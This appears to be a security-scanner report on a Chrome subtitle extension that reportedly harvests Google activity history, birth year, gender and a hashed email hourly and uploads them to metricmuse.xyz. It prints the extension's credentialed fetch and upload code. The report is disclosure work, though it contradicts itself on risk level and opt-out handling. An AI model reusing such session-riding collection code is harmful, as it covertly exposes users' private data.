Is Youtube SubStyler: Customize subtitles [QVI] safe?

Low risk

YouTube SubStyler reads your Google My Activity watch history, email, gender and birth year hourly and uploads it to metricmuse.xyz.

Every 60 minutes a background job fetches the signed-in Google account's My Activity page and profile details, then runs commands issued by metricmuse.xyz to collect watch history pages, gender and birth year. The results are uploaded to metricmuse.xyz. Sharing is switched on by default after install and the job is skipped only if the user turns it off.

ToopExtv0.0.4Chrome Web Store
22Risk
Who publishes it

HideApp LLC - 37 other listings from the same operator, 2 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
ToopExt
Declared legal entity
HideApp LLC
Website
support.hideapp.info/support/tickets/new

Same store account

37 other listings published from this account, 244k+ users between them. 2 of them carry a finding.

Netflix Picture in Picture200k+MediumAmazon Prime Freevee Skipper: skip ads, intros & more [QVI]30k+LowPrime Party Extended [QVI]10k+MediumApple TV Extended: boost your viewing [QVI]1k+LowPicture in Picture works with Paramount [QVI]1k+LowMouse Off for HBO Max: hide cursor [QVI]480Low31 more listings in the relationship graph, on paid plans →

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

toopextensions.com
Also called by 1 other listing: Film ratings for Netflix: now HBO Max & Prime [QVI]

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Hourly job reads Google My Activity and profile data for metricmuse.xyz

Code analysis shows an hourly job uses your signed-in Google session to read your My Activity history, gender and birth year, then uploads them to metricmuse.xyz on server command.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

The hourly alarm fires while you are signed in to Google.

The extension did this

The extension reads your Google activity and profile pages with your session and sends the results to metricmuse.xyz.

The code that does this

Session-authenticated reads of Google pages

Readable version

Activity history RPC

youtube_background.min.js
var BATCH_EXECUTE_URL = "https://myactivity.google.com/_/FootprintsMyactivityUi/data/batchexecute?hl=en";var ACTIVITY_RCP_ID = "y3VFHd";var ACTIVITY_SERVICES = [    15,    25,    26,    27,    35,    55];

Birthday page fetch

youtube_background.min.js
fetch("https://myaccount.google.com/birthday", {    method: "GET",    credentials: "include"})

Init request and upload to metricmuse.xyz/n/

youtube_background.min.js
postPlainJsonRequest("".concat(Metriq_BASE_ROUTE, "youtube/start"), initData)...postPlainJsonRequest("".concat(Metriq_BASE_ROUTE, "youtube/upload"), _object_spread_props(Metriq_object_spread({}, data), {
Data the code reads or sends
  • Google My Activity
    batchexecute rpc y3VFHd, services [15,25,26,27,35,55]

    Entries from your Google activity log for several services, paged over a time range the server picks.

  • Gender and birth year
    birthYear from ac.s.bir.br

    Read from your Google account birthday page.

  • Hashed account email
    mailHash

    A hash of your Google email is sent as the account and profile identifier.

  • Extension and device context
    optedOut: false

    Extension user ID, time offset, browser language, distribution tag and opt-out flag.

Where the data goes
    • metricmuse.xyz

    Receives init data at /n/youtube/start, issues commands, receives uploads at /n/youtube/upload.

    • myactivity.google.com

    Source of activity history, read with your signed-in session.

    • myaccount.google.com

    Source of gender and birth year.

Opt-out handling

background.js sets shareInsights to true on install. isOptedOut() reads it and sends it to the server as optedOut, but scrapeYoutube() does not branch on it before fetching Google pages.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 0.0.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Schedule its own background tasks

    alarms

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed Youtube SubStyler: Customize subtitles [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • metricmuse.xyz

    Youtube SubStyler: Customize subtitles [QVI] sends data to metricmuse.xyz. 12 other extensions we have analysed send data here.

Updated 15 October 2026caaoanplhnoffpgkkjmpchgojljodobn